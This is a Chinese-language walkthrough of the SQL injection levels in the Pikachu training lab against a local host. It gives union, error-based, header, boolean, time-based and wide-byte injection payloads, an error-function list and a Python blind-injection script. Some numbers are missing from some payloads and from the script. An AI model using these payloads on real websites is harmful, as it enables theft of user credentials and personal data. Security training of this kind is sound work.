pikachu SQL-Injection
1.数字型注入(POST)

可以看到,这个参数提交是POST类型的,用burp。

测试参数id
id='&submit=%E6%9F%A5%E8%AF%A2

可以看到有报错回显,而且根据回显可以判断这个注入为数字型注入,构造payload
查询此表单有多少列



确定只有两列,union注入
id=- union select database(),version()

查询出数据库名为pikachu 数据库版本为5.5.39
继续查询pikachu数据库内有什么表
id=- union select group_concat(table_name), from information_schema.tables where table_schema='pikachu'

继续查询member表内有什么列、
id=- union select group_concat(column_name), from information_schema.columns where table_name='member'

查询所有字段
id=- union select group_concat(id,username,pw,sex,phonenum,address,email), from member

用户表里的所有数据就被注入出来了。
2.字符型注入(get)
先尝试查询

测试sql注入
allen'

出现报错,说明此字符型注入为 ' 闭合

说明闭合成功,没有 ) 存在,而且经过测试没有过滤。所以直接用第一关的payload即可
allen' union select group_concat(id,username,pw,sex,phonenum,address,email),2 from member#

所有用户数据都被注入出来了
3.搜索型注入
测试一下

说明后台语句将参数传递进去时,查询语句的的目标为 al%'
测试发现没有过滤,直接用之前的payload,但是又有一点不同,这里有三个回显位,所以要加一个字段
%' union select group_concat(id,username,pw,sex,phonenum,address,email),2,3 from member#

所有用户数据都被注入出来了
4.xx型注入
照常测试
allen'
回显报错

说明此语句闭合为 ('allen')
并且经过测试,此查询位置也没有过滤,可以直接用第二关的payload,稍微改造一下。
-') union select group_concat(id,username,pw,sex,phonenum,address,email),2 from member#

用户信息都被注入出来。
5.insert/update注入
根据判断,此关为insert/update注入,应该是在注册或者修改用户账号信息的时候存在注入漏洞,如图。

大致判断此处insert语句为
insert into user(name,password,sex,phone,address1,address2) value('','','','','','')
所以这里没办法使用select拼接,且无回显,我们需要利用报错注入来使数据库将目标信息当做错误信息返回回来
我们在这里使用最省力气的方法,如果在前几个字段注入,肯定还要闭合后面的字段,所以我们直接注入最后一个地址,而地址肯定为字符型,所以我们可以直接构造payload如下,前几个瞎填就行,因为这是最后一个字段,所以闭合括号之后,直接用#注释掉之后的语句即可
aaa' and 1=(updatexml(1,concat(0x3a,(select user())),1)))#
报错信息回显,select user()执行成功,而且此位置无过滤,想获得其他信息,参考之前的payload

除此之外,还有很多可以导致报错注入的函数。在这里分享一下。
、通过floor报错,注入语句如下:
and (select from (select count(*),concat(version(),floor(rand()*))x from information_schema.tables group by x)a); 、通过ExtractValue报错,注入语句如下:
and extractvalue(, concat(0x5c, (select table_name from information_schema.tables limit ))); 、通过UpdateXml报错,注入语句如下:
and =(updatexml(,concat(0x3a,(select user())),)) 、通过NAME_CONST报错,注入语句如下:
and exists(select*from (select*from(selectname_const(@@version,))a join (select name_const(@@version,))b)c) 、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c; 、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) ); 、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b ); 、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b ); 、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b ); 、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b ); 、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b ); 、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
同理,做update注入,update肯定在修改个人信息的位置,我们同样选择最后一个框框,省事。

还利用刚才的payload
aaa' and 1=(updatexml(1,concat(0x3a,(select user())),1)))#
结果发现报错了
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')#' where username='allen'' at line 1
这时才想起来update语句不太一样,update语句格式如下
UPDATE `member` SET `id`=[value-],`username`=[value-],`pw`=[value-],`sex`=[value-],`phonenum`=[value-],`address`=[value-],`email`=[value-] WHERE
所以不管在哪个列都要闭合,所以改一下payload
aaa' and 1=(updatexml(1,concat(0x3a,(select user())),1)) and '
返回结果正确

其他数据,利用select语句查询。
6.delete注入

此关长这样,判断应该是先留言,然后在删除的时候可以触发delete注入
先留个严,查看删除链接。

可以判断这个id参数存在delete注入,先查看delete语句模板
DELETE FROM `member` WHERE id=$id;
直接构造payload
and =(updatexml(,concat(0x3a,(select user())),))
然后直接访问url
http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=58 and 1=(updatexml(1,concat(0x3a,(select%20user())),1))
看到delete报错注入成功

其他信息利用select查询。
7.http header注入
首先发现需要登录,那就先登录试试。

发现他获取了我的http头信息,所以应该是在http头构造sql语句。burp抓一下包

因前端回显只有
Host: 127.0.0.1'or ''='
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/ Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
所以在这三处进行测试。

accept数据出现在报错信息里,所以注入点应该是在User-Agent
测试User-Agent发现,此处没有回显,可以猜测此处是先插入数据库,再输出到前端页面。所以我们可以使用报错注入。
1'and 1=(updatexml(1,concat(0x3a,(select user())),1)) and '

发现注入成功。
8.盲注(based on boolian)
测试

然后测试 allen'

注释掉之后的语句

发现数据库有两列

然后经过测试发现,此处根本不需要盲注。

此关和字符型注入的差别就是,此关只能输出一行回显,所以一些人认为只能盲注。
但是我们只需要吧查询的字符改为不存在的字符,使得第一行消失,联合查询的结果就可以回显。所以我们使用下面的payload即可
-' union select group_concat(id,username,pw,sex,phonenum,address,email),2 from member#
9.盲注(based on time)
照常测试,发现不管输入正确的用户名还是错误的用户名,回显都是 i don't care who you are!

说明后台并没有将数据库命令执行信息回显到前端。这种情况只能使用时间盲注。
先测试一下数据库名的长度
allen' and If(length(database())=7,sleep(5),1)#

发现当length为7的时候 执行了sleep(5)所以,数据库名长度为7
写脚本。
import requests
import urllib
headers = {
"Host": "127.0.0.1" ,
"Connection": "keep-alive" ,
"Upgrade-Insecure-Requests": "" ,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" ,
"Sec-Fetch-User": "?1" ,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" ,
"Sec-Fetch-Site": "same-origin" ,
"Sec-Fetch-Mode": "navigate ",
"Referer": "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php" ,
"Accept-Encoding": "gzip, deflate, br ",
"Accept-Language":"zh-CN,zh;q=0.9"}
cookies = {
"Cookie":" PHPSESSID=899k0pd0igmcrftk05e1iqo806 "} def six_six_six(url):
flag = ''
for j in range():
for i in 'abcdefghijklmnopqrstuvwxyz0123456789{}_':
data = url + "allen%27+and+If%28ascii%28substr%28database%28%29%2C{j}%2C1%29%29%3D{i}%2Csleep%285%29%2Cnull%29%23&submit=%E6%9F%A5%E8%AF%A2".format(j=j+,i=ord(i))+r"&submit=查询#"
try:
requests.get(url=data,headers = headers,cookies = cookies,timeout=)
except:
flag=flag+i
print('[*]%s'%flag)
break
print('[+]%s'%flag) url = 'http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php?name='
six_six_six(url)
'''sleep((select(flag)from(flag)where(flag)like('f%'))like('f%'))
(select(flag)from(flag)where(flag)like('f%'))like('f%')
(select(flag)from(flag)where(flag)like('f%'))'''
跑一下

成功跑出数据库名
想注入出其他的信息,可以利用下面的payload
allen%+and+If%28ascii%28substr%28select table_name from information_schema.tables where table_schema = 'pikachu' limit ,%2C{j}%2C1%%%3D{i}%2Csleep%%%2Cnull%%&submit=%E6%9F%A5%E8%AF%A2
其他与之前的代码相同。
10.宽字节注入
先抓包。

已经知道此关为宽字节注入,但是pikachu不好的地方就是这里,因为此关没有报错回显,所以没有比较好的办法去判断此处是不是宽字节注入。
宽字节注入最明显的一个特征就是GBK编码,GBK编码与ascii编码和utf-8不同的地方就是GBK会吃字符。比如说在服务端开启了转义函数后 %df' 就会被编码成 運’
但是在此关因为没有回显,只能强行闭合。
kobe%df' or =#
同理payload 可以为
allen%df' union select group_concat(id,username,pw,sex,phonenum,address,email),2 from member#

其他与之前的相同
pikachu SQL-Injection的更多相关文章
- druid sql黑名单 报异常 sql injection violation, part alway true condition not allow
最近使用druid,发现阿里这个连接池 真的很好用,可以监控到连接池活跃连接数 开辟到多少个连接数 关闭了多少个,对于我在项目中查看错误 问题,很有帮助, 但是最近发现里面 有条sql语句 被拦截了, ...
- PHP+MYSQL网站SQL Injection攻防
程序员们写代码的时候讲究TDD(测试驱动开发):在实现一个功能前,会先写一个测试用例,然后再编写代码使之运行通过.其实当黑客SQL Injection时,同样是一个TDD的过程:他们会先尝试着让程序报 ...
- SQL Injection(SQL注入漏洞)
审计前准备: 1.安�php程序(推荐phpStudy) 2.高亮编辑器(推荐 Sublimetext Notepad++) 3.新建一个文本,复制以下变量,这些变量是审计中需要在源码中寻找的 ### ...
- HP+MYSQL网站SQL Injection攻防
WebjxCom提示:程序员们写代码的时候讲究TDD(测试驱动开发):在实现一个功能前,会先写一个测试用例,然后再编写代码使之运行通过.其实当黑客SQL Injection时,同样是一个TDD的过程: ...
- Cacti /graphs_new.php SQL Injection Vulnerability
catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 other SQL injection vulnerability ...
- ecshop /search.php SQL Injection Vul
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞 ...
- ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 在进行输入变量本地模拟注册的时候,没有进行有效的GPC模拟过滤处理,导出 ...
- How to prevent SQL injection attacks?
In our earlier tutorial on SQL Injection, one way to have prevented the SQL injection attack was by ...
- Zabbix 3.0.3 SQL Injection
Zabbix version 3.0.3 suffers from a remote SQL injection vulnerability. ============================ ...
- SQL injection
SQL injection is a code injection technique, used to attack data-driven applications, in which malic ...
随机推荐
- 用 FFLIB 实现 Apex 企业设计模式
Apex 企业设计模式将应用分为服务层.模型层.选择逻辑层.工作单元几个部分.FFLIB 是一个开源的 Apex 框架,可以帮助开发者快速建立相关的功能. FFLIB 的安装 FFLIB 可以直接部署 ...
- 小白专场-FileTransfer-python语言实现
目录 更新.更全的<数据结构与算法>的更新网站,更有python.go.人工智能教学等着你:https://www.cnblogs.com/nickchen121/p/11407287.h ...
- Python保存json文件并格式化
使用json.dump()的时候设置一下indent参数的值就好了.比如json.dump(json_dict, f, indent=4), ensure_ascii=False,写入中文
- Win10+Anaconda+tensorflow-cpu安装教程
基础概念 Python2.x or Python3.x 自从20世纪90年代初Python语言诞生至今,一直在迭代更新,根据出现的时期,可以分为Python2.x和Python3.x两个大版本.其中P ...
- 最锋利的Visual Studio Web开发工具扩展:Web Essentials详解【转】
Web Essentials是目前为止见过的最好用的VS扩展工具了,具体功能请待我一一道来. 首先,从Extension Manager里安装:最新版本是19号发布的2.5版 然后重启你的VS开发环境 ...
- WebApplicationInitializer启动分析
从Servlet 3.0 开始Tomcat已经支持注解式的配置.了解下,在注解的配置方式下,Web是怎样启动起来的. 通过注解配置一个Web应用 下面是一个通过注解实现一个简单的Web应用 publi ...
- 解决基于TypeScript 的 RN项目相对路径引入组件的问题
一.前言 在开发RN项目时,经常会要使用这样的方式(../../../)来引入组件,感觉非常繁琐,如果项目结构层级比较多,引入的头部更加分不清. 那有没有一种方案和vue项目一样,经过配置后简写路径, ...
- 2019.10 搜索引擎最新排名,Elasticsearch遥遥领先
大数据的搜索平台已经成为了众多企业的标配,Elasticsearch.Splunk(商业上市公司).Solr(Apache开源项目)是其中最为优秀和流行的选择.在2019.10 最新搜索引擎排名中,E ...
- 【mybatis】mybatis传参的几种方式
参考地址: https://my.oschina.net/liuzelin/blog/2966633
- VM1059 bootstrap-table.min.js:7 Uncaught TypeError: Cannot read property 'classes' of undefined
参考链接:https://blog.csdn.net/liuqianspq/article/details/81868283 1.阳光明媚的下午,我在写CRUD,让数据传到前端的时候,解析的时候报错了 ...